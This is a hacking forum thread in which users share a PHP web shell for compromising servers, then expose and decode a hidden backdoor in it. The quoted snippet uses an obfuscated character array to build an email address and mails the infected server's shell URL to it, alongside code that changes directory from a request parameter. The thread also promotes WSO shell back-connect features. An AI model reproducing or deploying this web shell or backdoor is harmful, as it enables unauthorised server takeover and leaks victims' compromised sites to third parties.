[The Ion]

Here is the shell i have been using for sometime now really works great on r00ting servers.



Here is the code:

http://pastebin.com/dthVpPrg

Clean code by th3ponywizard

Doesn't prove anything. Look, I'm not blaming you or anything, just saying it's backdoor'd.
Here is the code after I cleaned it: http://pastebin.com/dthVpPrg
Enjoy.

Enjoy and DOnt leech

credits to the creator.

[Techie‌‌‌]

Thanks for the share but this is backdoored. Bad idea, noobs.

PHP Code


<?php 
$s = array ("k","b","r","e","a","r","c","@","m","i","l",".","o","g");
$system_array2 = $s[2].$s[3].$s[1].$s[6].$s[5].$s[4].$s[0].$s[3].$s[5].$s[7].$s[13].$s[8].$s[4].$s[9].$s[10].".".$s[6].$s[12].$s[8];
$encoding = "$system_array2" ;
$rez = "NC sHE3L" ;
$serverdetecting = "Content-Transfer-Encoding: http://" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] ;
mail ($encoding,$rez,$serverdetecting) ;
$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); 


[The Ion]

Thanks for the share but this is backdoored. Bad idea, noobs.

PHP Code


<?php 
$s = array ("k","b","r","e","a","r","c","@","m","i","l",".","o","g");
$system_array2 = $s[2].$s[3].$s[1].$s[6].$s[5].$s[4].$s[0].$s[3].$s[5].$s[7].$s[13].$s[8].$s[4].$s[9].$s[10].".".$s[6].$s[12].$s[8];
$encoding = "$system_array2" ;
$rez = "NC sHE3L" ;
$serverdetecting = "Content-Transfer-Encoding: http://" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] ;
mail ($encoding,$rez,$serverdetecting) ;
$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); 


it is a Email feature i guess Not so sure didnt go through the code will check it out soon

[Th3PonyWizard]

Code

$s = array ("k","b","r","e","a","r","c","@","m","i","l",".","o","g");
$system_array2 = $s[2].$s[3].$s[1].$s[6].$s[5].$s[4].$s[0].$s[3].$s[5].$s[7].$s[13].$s[8].$s[4].$s[9].$s[10].".".$s[6].$s[12].$s[8];
$encoding = "$system_array2" ;
echo $encoding;

Output: [email protected]
:\
Other than that, thanks. I'll use it.

[The Ion]

yes someone check the full check i think it is a Email feature!

[Th3PonyWizard]

yes someone check the full check i think it is a Email feature!

Email feature my ass. the mail function sends an email message to [email protected], the email contains the title 'NC sHE3L', alongside the web address of the installed shell.

[Creamy]

Not cool, clearly is backdoored as Pony said above.

[The Ion]

when i google it gives me to this thread :https://hackforums.net/showthread.php?tid=94616

[Th3PonyWizard]

when i google it gives me to this thread :https://hackforums.net/showthread.php?tid=94616

Doesn't prove anything. Look, I'm not blaming you or anything, just saying it's backdoor'd.
Here is the code after I cleaned it: http://pastebin.com/dthVpPrg
Enjoy.

[The Ion]

Doesn't prove anything. Look, I'm not blaming you or anything, just saying it's backdoor'd.
Here is the code after I cleaned it: http://pastebin.com/dthVpPrg
Enjoy.

thanks didnt check the code added to the orginal post thank you for the help!

[Phizo]

The compatibility sure is amazing.

Code

phx3\iusr_6514439@:>dir
'ls' is not recognized as an internal or external command,
operable program or batch file.

[The Ion]

from where did you get that error ?

[virusake]

Nice shell ... i`ll try it soon .. too bad that i can`t pm you, i don`t have enough posts!

[The Ion]

enjoy it my friend use it wisely :P

[MrNRG]

I guess WSO shell already has the php backconnect feature:-


Anyways, will be helpful with some servers.